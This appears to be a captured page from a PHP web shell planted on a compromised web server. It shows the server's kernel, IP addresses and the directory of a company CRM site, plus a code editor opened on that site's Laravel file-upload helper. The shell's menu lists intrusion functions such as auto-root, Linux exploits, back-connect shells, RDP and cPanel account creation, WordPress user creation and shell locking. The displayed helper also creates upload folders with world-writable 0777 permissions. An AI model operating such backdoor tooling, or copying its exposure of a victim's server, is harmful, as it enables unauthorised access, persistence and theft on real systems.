Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 172.71.203.95
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
crm.oxopackaging.com /
app /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
ArraySerializerUtil.php
562
B
-rw-r--r--
DateTimeUtil.php
5.56
KB
-rw-r--r--
FileUtil.php
1.75
KB
-rw-r--r--
Helpers.php
1.56
KB
-rw-r--r--
OpeningHours.php
1.51
KB
-rw-r--r--
ResponseUtil.php
811
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FileUtil.php
<?php /** * Created by PhpStorm. * User: mjamshad * Date: 1/18/2019 * Time: 7:35 PM */ namespace App\Utils; use Illuminate\Support\Facades\Storage; class FileUtil { /** * @param $file * @param $path * @param $folderName * @param string $base_folder * @return mixed */ static public function fileUpload($file, $path, $folderName, $base_folder = 'uploads/') { $path = $path . $folderName; if(env('IS_OLD_APP_ON')){ $destination_folder = public_path(env('OLD_APP_PUBLIC_DIR')).'/' . $base_folder . $path . '/'; }else{ $destination_folder = base_path('public/' . $base_folder . $path . '/'); } self::makeDir($destination_folder, 0777, true); $file_name = self::randomFileName($file, $folderName); $file->move($destination_folder, $file_name); return $file_name; } static public function fileUploadToStorage($file, $path, $driver) { $storage = Storage::disk($driver)->put($path, $file); return $storage; } /** -- Make directory -- * @param $path * @param $permission * @param bool $recursive * @return bool */ static public function makeDir($path, $permission, $recursive = false) { if (file_exists($path)) return true; return mkdir($path, $permission, $recursive); } /** * @param $file * @return string */ static public function randomFileName($file, $name) { $type = $file->guessExtension(); return $name . '-' . DateTimeUtil::TimeInMilliSec() . '.' . $type; } /** * @param $path * @return string */ static public function getFilePath($path) { return asset($path); } }
Close